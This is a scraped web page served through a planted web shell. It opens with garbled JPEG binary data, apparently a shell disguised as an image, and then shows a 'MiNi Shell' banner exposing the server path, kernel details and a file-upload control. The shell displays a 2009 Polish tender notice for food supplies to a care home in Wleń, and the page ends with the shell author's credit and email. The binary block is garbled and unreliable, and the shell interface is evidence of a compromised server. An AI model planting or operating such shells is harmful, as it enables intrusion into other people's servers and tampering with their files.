JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20090317/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20090317/65874-N-2009.html

<p class="kh_header"><b>Wleń: ZAKUP I DOSTAWĘ RÓZNYCH  PRODUKTÓW ŻYWNOŚCI NAPOJE I PRODUKTY POKREWNE</b><br>
<b>Numer ogłoszenia: 65874 - 2009; data zamieszczenia: 17.03.2009</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Dom Pomocy Społecznej , Nielestno 17, 59-610 Wleń, woj. dolnośląskie, tel. 0-75 7136402, 7136342, faks 0-75 7136342.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.dpsnielestno.powiatlwowecki.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> ZAKUP I DOSTAWĘ RÓZNYCH  PRODUKTÓW ŻYWNOŚCI NAPOJE I PRODUKTY POKREWNE.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Wykaz artykułów  						


Lp.	Rodzaj asortymentu	Symbol CPV	Jed. miar	Ilość 	Cena netto	Wartość netto	Cena brutto	Wartość brutto	VAT %
1.	Ananas Plastry 565 g	15332100-5	szt	100 					
2	 Aromat waniliowy 9 ml	15890000-3	szt	65					
3.	Aromat
migdałowy 9 ml	15890000-3	szt	65					
4.	Aromat cytrynowy 9 ml	15890000-3	szt	65					
5.	 Aromat pomarańczowy 9 ml 	15890000-3	szt	65					
6.	Koncentrat barszcz czerwony  w płynie 300 ml 	15892200-9	szt	30					
7	Brzoskwinia konserwowana  połówki  820g	15332100-5	szt	100					
8	Budyń czekoladowy z/c 63 g	15890000-3	szt	120					
9	Budyń malinowy z/c 60g	15890000-3	szt	120					
10 	Budyń śmietankowy z/c 60 g z/k	15890000-3	szt	120					
11.	Budyń śmietankowy b/c 35g	15890000-3	szt	120					
12.	Budyń waniliowy z/c 60g	15890000-3	szt	120					
13.	Chrzan tarty z kwaskiem cytrynowym	15331110-1	280g	120					
14.	Biszkopty 120g	15812100-4	szt	400					
15.	Cukier biały 	15831200-4	kg	1400					
16.	Cukier puder 500g	15831200-4	szt	160					
17.	Cukier waniliowy 16g	15831000-2	szt	500					
18 	Dżem jeżynowy  n/s  500 g	15332292-7	szt	500					
19.	Dżem  morelowy n/s 500g	15332291-0	szt	500					
20. 	Dżem czarna porzeczka n/s 500g	15332293-4	szt	500					
21.	Dżem truskawkowy n/s 500g	15332296-5	szt	500					
22.	Dżem wiśniowy n/s 500g	15332294-1	szt	500					
23.	Fasolka konserwowa czerwona 400g	15331464-7	szt	120					
24.	Fasolka zielona  konserwowa 700g	15331464-7	szt	600					
25.	Susz borowikowy 40g leśny 	15890000-3	szt	60					
26.	Galaretka w proszku  agrestowa 75g n/s	15833100-7	szt	270					
27.	Galaretka w proszku brzoskwiniowa 79g  n/s	15833100-7	szt	270					
28.	Galaretka w proszku
cytrynowa 75g n/s	15833100-7	szt	270					
29	Galaretka w proszku truskawkowa 75g n/s	15833100-7	szt	270					
30.	Herbata granulowana 2kg	15864000-2	szt	30					
31.	Herbata ex 100 typu cons. gold tea lub równoważna	15864100-3	szt	30					
32.	Kakao naturalne ciemne n/t 100g	15841000-5	szt	220					
33.	Kawa zbożowa rozpuszczalna  inka 150g	15862000-8	szt	200					
34	Kefir naturalny 450 g	15551000-5	szt	500					
35.	Kefir o smaku truskawkowym 450g	155510000-5	szt	500					
36.	Ketchup  łagodny 500g	15871230-5	szt	60					
37 	Ketchup pikantny 500g	15871230-5	szt	60					
38. 	Kisiel cytrynowy z/c 77g   	15890000-3	szt	250					
39.	Kisiel malinowy z/c 77g	15890000-3	szt	250					
40.	Kisiel morelowy z/c 77g	15890000-3	szt	250					
41.	Kisiel poziomkowy z/c 77g	15890000-3	szt	250					
42.	Przyprawa do gulaszu fix 49g	15870000-7	szt	100					
43.	Przyprawa do potraw chińskich fix 36g	15870000-7	szt	100					
44.	Konserwa mięsna puszki turystyczna 300g	15131000-5	szt	150					
45	Konserwa mięsna puszki tyrolska 300g	15131000-5	szt	150					
46	Konserwa rybna- puszka makrela w oleju 300g	15131000-5	szt	200					
47.	Konserwa rybna - puszka makrela w pomidorach 300g	15131000-5	szt	200					
48.	Konserwa rybna-puszka paprykarz szczeciński 330g	15131000-5	szt	150					
49.	Kukurydza słodka w zalewie 400g	15331470-2	szt	400					
50.	Kwasek cytrynowy 20g 	15871110-8	szt	100					
51.	Fasola biała  Jaś 5 kg	15331130-7	szt	30					
52.	Groch  obłuskany polerowany połówki 5 kg	15331130-7	szt	30					
53.	Kasza gryczana 5 kg	15613000-8	szt	40					
54.	Kasza perłowa jęczmienna 5 kg	15613000-8	szt	40					
55.	Kasza kukurydziana 5 kg	15613000-8	szt	40					
56.	Kasza manna 5 kg 	15613000-8	szt	40					
57.	Płatki jęczmienne błyskawiczne 5 kg	15613000-8	szt	40					
58.	Płatki owsiane  5 kg	15613380-5	szt	40					
59.	Płatki śniadaniowe kukurydziane  2 kg	15613311-1	szt	40					
60.	Płatki  śniadaniowe kukurydziane o smaku czekoladowym 2 kg	15613311-1	szt	30					
61.  	Liść laurowy 500g	15870000-7	szt	40					
62. 	Majeranek 500g	15872000-1	szt	20 					
63.	Papryka mielona ostra 500g	15870000-7	szt	20					
64.	Papryka mielona słodka 500g 	158770000-7	szt	20					
65.	Pieprz czarny mielony 500 g	15872100-2	szt	15					
66.	Przyprawa warzywna 1 kg	15871270-7	szt	60					
67.	Makaron nie ugotowany jajeczny łazanka 400g	15851100-9	szt	600					
68.	Makaron nie ugotowany jajeczny  muszelka mała 400g	15851100-9	szt	100					
69.	Makaron nie ugotowany jajeczny nitki 400g	15851100-9	szt	600					
70.	Makaron nie ugotowany jajeczny świderki 400g	15851100-9	szt	600					
71. 	Makaron nie ugotowany jajeczny wstążka 400g	15851100-9	szt	100					
72.	Masło roślinne kostka 250g	15412200-1	kg	1200					
73.	Margaryna mleczna kostka 250g	15431100-9	kg	125					
74. 	Margaryna deserowa 250g 	15431100-9	kg	125					
75.	Masło ex wiejskie 82% kostka 200g	15530000-2	kg	50					
76.	Mąka pszenna Tortowa lub równoważna 1 kg	15612100-2	kg	1500					
77.	Migdały całe 100g	15890000-3	szt	60					
78.	Migdały płatki 50g	15890000-3	szt	60					
79. 	Miód 1300g	15831600-8	szt	100					
80.	Mleko UHT3,2% karton 1l	15511210-8	szt	60					
81.	Sok owocowy grejpfrut   1 l karton  zgęszczony 50%	15321200-6	szt	200					
82.  	Sok owocowy pomarańczowy 1 l karton sok zagęszczony 50%	15321100-5	szt	200					
83. 	Sok owocowy jabłkowy 1l karton sok zagęszczony 50%	15321600-0	szt	200					
84.	Napój 1,5 l orange/gaz	15982000-5	szt	300					
85.	Napój 1,5 l lemonid/gaz	15982000-5	szt	300					
86. 	Napój 1,5 l
Orężada czerwona /gaz	15982000-5	szt	300					
87.	Napój 2 l/n gaz jabłkowy	15982000-5	szt	300					
88.	Napój 2 l/n gaz winogronowy	15982000-5	szt	300					
89.	Ocet spir.10% 0,5 l lub produkty równoważne	15871110-8	szt	80					
90.	Ogórek konserwowy 1550g	15331500-2	szt	800					
91.	Olej roślinny 1 l  	15411100-3	szt	900					
92.	Oliwki b/p czarne 235g	15331466-1	szt	20					
93.	Oliwki b/p zielone 235g  	15331466-1	szt	20					
94.	Papryka konserwowa ćwiartki 890g	15331500-2	szt	600					
95.	Pasztet drobiowy 160 g	15131310-1	szt	600					
96.	Pieczarki marynowane 770g	15331430-0	szt	80					
97.	Powidła śliwkowe 530 g	15332200-6	szt	70					
98.	Płatki ryżowe 400g	15614000-5	szt	300					
99.	Proszek do pieczenia 15g	15899000-6	szt	300					
100.	Przecier ogórkowy 400g	15331480-5	szt	170					
101.	Przyprawa w płynie 1 l	15870000-7	szt	360					
102.	Rodzynki sułtańskie 100g	15332419-4	szt	220					
103.	Ryż łuskany 1 kg	15611000-4	szt	650					
104.	Ser gouda 45%
twardy	15544000-3	kg	60					
105.	Ser morski 45%
twardy	15544000-3	kg	60					
106.	Ser puławski 45% twardy	15544000-3	kg	60					
107.	Ser topiony do smarowania edamski 27% 100g	15543000-6	kg	120					
108.	Ser topiony do smarowania  z dodatkiem szynki 16% 100g	15543000-6	kg	60					
109.	Ser topiony do smarowania łososiowy 16% 100g	15542300-6	szt	30					
110	Ser Feta 250g	15542300-2	szt	10					
111.	Skórka kandyznowana
 pomarańczowa 100g	15890000-3	szt	20					
112.	Skrobia 1 kg ziemniaczana 1 	15623000-1	kg	150					
113	Soda spożywcza
oczyszczana  30g	15890000-3	szt	50					
114.	Sok  skoncentrowany  -brzoskwiniowy 4,96 l	15321800-2	szt	100					
115.	Sok skoncentrowany -  czarna porzeczka 4,96 l	15321800-2	szt	100					
116.	Sok skoncentrowany- malinowy
4,46 l	15321800-2	szt	100					
117.	Syrop skoncentrowany truskawkowy
4.46 l  	15321800-2	szt	100					
118.	Sok skoncentrowany wiśniowy
4,46 l	15321800-2	szt	100					
119.	Szczaw siekany 
konserwowany 300g	15331140-0	szt	170					
120.	Śliwka suszona
kaliformińska    500g	15332410-1	szt	20					
121.	Twaróg półtłusty krajanka	15542100-0	kg	450					
122.	Barszcz biały w proszku
1 kg	15891000-0	kg	12					
123.	Barszcz czerwony instant 1 kg	15891000-0	kg	12					
124.	Rosół drobiowy 2,20 kg /wiaderko/	15892000-7	szt	7					
125.	Rosół wołowy 2,20 kg/ wiaderko/	15892000-7	szt	7					
126.	Sos boloński
1 kg	15871260-4	kg	10					
127.	Sos grzybowy
1 kg	15871260-4	kg	10					
128.	Sos myśliwski 900g 	15871260-4	kg	9					
129.	Sos pieczeniowy ciemny 1 kg	15871260-4	kg	12					
130.	Sos sałatkowy 1 kg	15871260-4	kg	10					
131.	Zupa ogonowa 1 kg	15891000-0	kg	10					
132.	Zupa pieczarkowy 1 kg	15891000-0	kg	10					
132.	Zupa żur 1 kg	15891400-4	kg	10					
133.	Zupa Fasolowa 1 kg	15891400-4	kg	10					
134.	Zupa grochowa 1 kg	15891400-4	kg	10					
135.	Amoniak spożywczy 30g	15890000-3	szt	35					
136.
	Przyprawa bazylia sucha 10g	15872000-1	szt	100					
137.	Przyprawa curry  20g	15870000-7	szt	100					
138.	Cynamon mielony 20g	15870000-7	szt	150					
139.	Sól czosnkowa 30g	15872400-5	szt	150					
140.	Kminek cały 20g	15872000-1	szt	100					
141.	Przyprawa oregano 10g	15872000-1	szt	60					
142	Sól warzona jodowana 1 kg	15872400-5	kg	400					
143.	Ziele angielskie 
ziarna  15 g 	15872300-4	szt	400					
144	Żelatyna spożywcza 30g	15892000-7	szt	150					
145.	Koncentrat pomidorowy 30%  950g	15331427-6	szt	150					
146.	Majonez typu Winiary lub równoważny sałatkowy 800g	15871273-8	szt	350					
147.	Mak niebieski 1 kg	15413100-7	kg	25					
148.	Musztarda  425g	15871250-1	szt	150					
149.	Seler w zalewie 320g-wiórka	15331120-4	szt	20					
150.	Suchary delikatesowe 290g	15820000-2	szt	50					
151.	Śmietana homogenizowana tłusta18% 400g	15512200-2	szt	1200					
152.	Śmietana pełnotłusta 30% 350g	15512300-3	szt	800					
153.	Wiórka kokosowe 100g	15890000-3	szt	150					
154.	Susz owocowy wigilijny śliwka jabłko, gruszka/	15332410-1	kg	10					
155.	Woda mineralna 1,5l gaz	15982000-5	szt	360					
156.	Woda mineralna n/gaz 1,5 l	15982000-5	szt	360					
157.	Przyprawa do kurczaka 25g 	15870000-7	szt	250					
158.	Przyprawa do piernika 25 g	15870000-7	szt	30					
159.	Przyprawa do ryb 20g	15870000-7	szt	100					
160.	Makaron jajeczny zacierka 250 g	15851100-9	szt	600					
161.	Pieprz ziołowy	15872100-2	50g	400					
162.	Groszek konserwowy w zalewie 400g	15331462-3	szt	600					
163.	Orzechy włoskie łuskane	15332300-7	kg	2					
164.	Maślanka naturalna 450g 	15551500-0	szt	700					
165,	Bita śmietana w proszku 55  g	15512900-9	szt	150					
166.	Cukierki nadziewane 	15842000-2	kg	10					
167.	Cukierki w czekoladzie mieszanka	15842000-2	kg	10					
168.	 Czekolada
mleczna 100g 	15842100-3	szt	200					
169.	Mleko zagęszczone słodzone gotowane 8,0% tłuszczu- puszka 533g o smaku  krówki  	15511600-9	szt	10					
170. 	Kawa Jacobs Kronung mielona 250g 	15861100-2	kg	5					
171.	Czekolada gorzka 100g	15842100-3		30					
172.	Produkty z czekolady 100g figurki nie nadziewane zajączek	15842200-4	szt	85					
173.	Produkty z czekolady 100g
Figurki nie nadziewane mikołajek	15842200-4	szt	85					
	Razem :	------	----	----	----		---	


	----.</p>
<p><b>II.1.4) Wspólny Słownik Zamówień (CPV):</b> 15.00.00.00-8.</p>
<p><b>II.1.5) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.1.7) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p><p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 12.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WARUNKI DOTYCZĄCE ZAMÓWIENIA</b>
<p><b>III.2) WARUNKI UDZIAŁU</b></p>
<ul class="kh_indent_1"><li><b>Opis warunków udziału w postępowaniu oraz opis sposobu dokonywania oceny spełniania tych warunków:</b> 1. O udzielenie zamówienia mogą ubiegać się wykonawcy, którzy:
1) posiadają uprawnienia do wykonywania określonej działalności lub czynności, jeżeli ustawy
nakładają obowiązek posiadania takich uprawnień (art. 22 ust. 1 pkt 1),
2) posiadają niezbędną wiedzę i doświadczenie oraz dysponują potencjałem technicznym i
osobami zdolnymi do wykonania zamówienia lub przedstawią pisemne zobowiązanie innych podmiotów do udostępnienia potencjału technicznego i osób zdolnych do wykonania zamówienia  (art. 22 ust 1 pkt2 ):
3) znajdują się w sytuacji ekonomicznej i finansowej zapewniającej wykonanie zamówienia
(art. 22 ust. 1 pkt 3),
4) nie podlegają wykluczeniu z postępowania o udzielenie zamówienia (art. 22 ust. 1 pkt1- 4).
2. Zamawiający dokona oceny spełnienia powyższych warunków na podstawie dokumentów
złożonych zgodnie z działem IV SIWZ według formuły spełnia-nie spełnia.
3. Nie spełnienie powyższych warunków skutkować będzie wykluczeniem z postępowania.
4. Zamawiający żąda wskazania przez Wykonawcę w ofercie części zamówienia, których
wykonanie zamierza powierzyć podwykonawcom..</li>
<li><b>Informacja o oświadczeniach i dokumentach, jakie mają dostarczyć wykonawcy w celu potwierdzenia spełniania warunków udziału w postępowaniu:</b> 1. W celu potwierdzenia spełnienia warunków udziału w postępowaniu oferta musi zawierać
następujące dokumenty:
1.1 oświadczenie o spełnieniu wymogów określonych w art. 22 ust. 1 ustawy Prawo
zamówień publicznych o treści zgodnej z określoną wg załącznika nr 2.
W przypadku oferty złożonej przez Wykonawców wspólnie ubiegających się o udzielenie
zamówienia ww. oświadczenie składa każdy z wykonawców składający ofertę wspólną.
W celu potwierdzenia że Wykonawca posiada uprawnienia do wykonywanej działalności lub
czynności oraz nie podlega wykluczeniu na podstawie art.24 ustawy z dnia 29 stycznia
2004r. Prawo zamówień publicznych
1.2 aktualny odpis z właściwego rejestru albo aktualne zaświadczenie o wpisie do
ewidencji działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do
rejestru lub zgłoszenia do ewidencji działalności gospodarczej, wystawione nie
wcześniej niż 6 miesięcy przed upływem terminu składania ofert.
1.3 Dla udokumentowania spełnienia wymaganych warunków oraz uznania formalnej poprawności - Oświadczenie potwierdzające , że oferowane artykuły są dopuszczone do obrotu na terenie Polski zgodnie z Ustawą o warunkach zdrowotnych żywności i żywienia oraz, że wykonawca posiada system HCCP lub rozpoczął wdrażanie Systemu HCCP w Zakładzie Załącznik 4
-Oświadczenie, ze osoby które zajmują się dostawą towaru posiadają aktualne badania do celów sanitarno-epidemiologicznych .Załącznik nr 5.</li></ul>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>

<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>
<br><p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p><p><b>IV.2.2) Wykorzystana będzie aukcja elektroniczna:</b> nie.</p><br><p><b>IV.3) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.3.1)</b>&nbsp;<b>Adres strony internetowej, na której dostępna jest specyfikacja istotnych warunków zamówienia:</b> www.dpsnielestno.powiatlwowecki.pl.<br><b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Dom Pomocy Społecznej
Nielestno 17, 59-610 Wleń
tel. 075-7136402
fax 075-7136342.</p>
<p><b>IV.3.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 27.03.2009 godzina 12:00, miejsce: 1. Oferty należy składać w sekretariacie Domu Pomocy Społecznej  w Nielestnie
terminie najpóźniej do dnia 27 marca 2009 r. do godz. 12.00..</p><p><b>IV.3.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com